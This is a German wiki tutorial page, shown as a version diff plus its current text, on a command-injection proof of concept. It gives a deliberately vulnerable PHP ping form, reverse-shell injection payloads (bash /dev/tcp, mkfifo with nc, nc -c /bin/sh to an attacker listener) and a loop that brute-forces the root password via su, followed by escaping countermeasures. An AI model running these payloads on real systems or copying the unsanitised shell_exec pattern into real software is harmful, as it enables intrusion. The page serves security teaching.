Command Injection Proof of Concept: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
Keine Bearbeitungszusammenfassung |
|||
| (25 dazwischenliegende Versionen von 4 Benutzern werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
*[[php installation]] | |||
=PHP Code= | =PHP Code= | ||
*Bei dieser Anwendung wird die Eingabe nicht verifiziert. | *Bei dieser Anwendung wird die Eingabe nicht verifiziert. | ||
*Man hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen. | *Man kann hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen. | ||
*Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt. | *Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt. | ||
* | *'''vim ''/var/www/html/ping.php'' ''' | ||
[[ | <syntaxhighlight lang="html"> | ||
<!DOCTYPE html> | |||
<html> | |||
<body> | |||
<h2>PING</h2> | |||
<form method="post"> | |||
<label for="fname">IP</label><br> | |||
<input type="text" name="ip"><br> | |||
<input type="submit" name="submit" value="submit"> | |||
</form> | |||
<br> | |||
<?php | |||
if(isset($_POST['submit'])){ | |||
$ip = $_POST['ip']; | |||
$cmd = 'ping -c 4 ' . $ip; | |||
$output = shell_exec($cmd); | |||
echo "<pre> $output</pre>"; | |||
} | |||
?> | |||
</body> | |||
</html> | |||
</syntaxhighlight> | |||
=Schadcode einbringen= | =Schadcode einbringen= | ||
*1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 | * Auf der Angreifermaschine: | ||
* '''nc -lp ''port'' ''' | |||
*verschiedene Möglichkeiten in der Webanwendung den Exploit auszunutzen: | |||
* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers''/''port'' 0>&1"''' | |||
*1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 ''port'' 1>/tmp/backpipe | |||
*1.1.1.1 ; nc.traditional -c /bin/sh 10.0.10.101 8668 | |||
[[Datei:Command-injetion1.png]] | [[Datei:Command-injetion1.png]] | ||
= Brute Force Passwort von ''root'' = | |||
* '''for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done''' | |||
=Auf dem Angreifer= | =Auf dem Angreifer= | ||
[[Datei:Command-injetion2.png]] | [[Datei:Command-injetion2.png]] | ||
= | =Gegenmaßnahmen= | ||
*Niemals Daten von | *Niemals Daten von außen ungeprüft in Anwendungen verwenden. | ||
*Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache. | *Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache. | ||
*PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument: | *PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument: | ||
$cmd = 'ping -c 4 ' . escapeshellarg($ip); | $cmd = 'ping -c 4 ' . escapeshellarg($ip); | ||
*Generiertes Kommando bei Verwendung von escapeshellarg(): | *Generiertes Kommando bei Verwendung von escapeshellarg() - führt bei der Ausführung zu einem Fehler: | ||
ping -c 4 '1.1.1.1; ls' | ping -c 4 '1.1.1.1; ls' | ||
*PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings | *PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings | ||
$output = shell_exec(escapeshellcmd($cmd)); | $output = shell_exec(escapeshellcmd($cmd)); | ||
* | *Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler: | ||
ping -c 4 1.1.1.1\; ls | |||
*Alternativ bzw. zusätzlich eigene entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln. | |||
Aktuelle Version vom 18. September 2024, 22:37 Uhr
PHP Code
- Bei dieser Anwendung wird die Eingabe nicht verifiziert.
- Man kann hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
- Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
- vim /var/www/html/ping.php
<!DOCTYPE html>
<html>
<body>
<h2>PING</h2>
<form method="post">
<label for="fname">IP</label><br>
<input type="text" name="ip"><br>
<input type="submit" name="submit" value="submit">
</form>
<br>
<?php
if(isset($_POST['submit'])){
$ip = $_POST['ip'];
$cmd = 'ping -c 4 ' . $ip;
$output = shell_exec($cmd);
echo "<pre> $output</pre>";
}
?>
</body>
</html>
Schadcode einbringen
- Auf der Angreifermaschine:
- nc -lp port
- verschiedene Möglichkeiten in der Webanwendung den Exploit auszunutzen:
- 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
- 1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 port 1>/tmp/backpipe
- 1.1.1.1 ; nc.traditional -c /bin/sh 10.0.10.101 8668
Brute Force Passwort von root
- for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done
Auf dem Angreifer
Gegenmaßnahmen
- Niemals Daten von außen ungeprüft in Anwendungen verwenden.
- Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
- PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
$cmd = 'ping -c 4 ' . escapeshellarg($ip);
- Generiertes Kommando bei Verwendung von escapeshellarg() - führt bei der Ausführung zu einem Fehler:
ping -c 4 '1.1.1.1; ls'
- PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings
$output = shell_exec(escapeshellcmd($cmd));
- Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler:
ping -c 4 1.1.1.1\; ls
- Alternativ bzw. zusätzlich eigene entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.

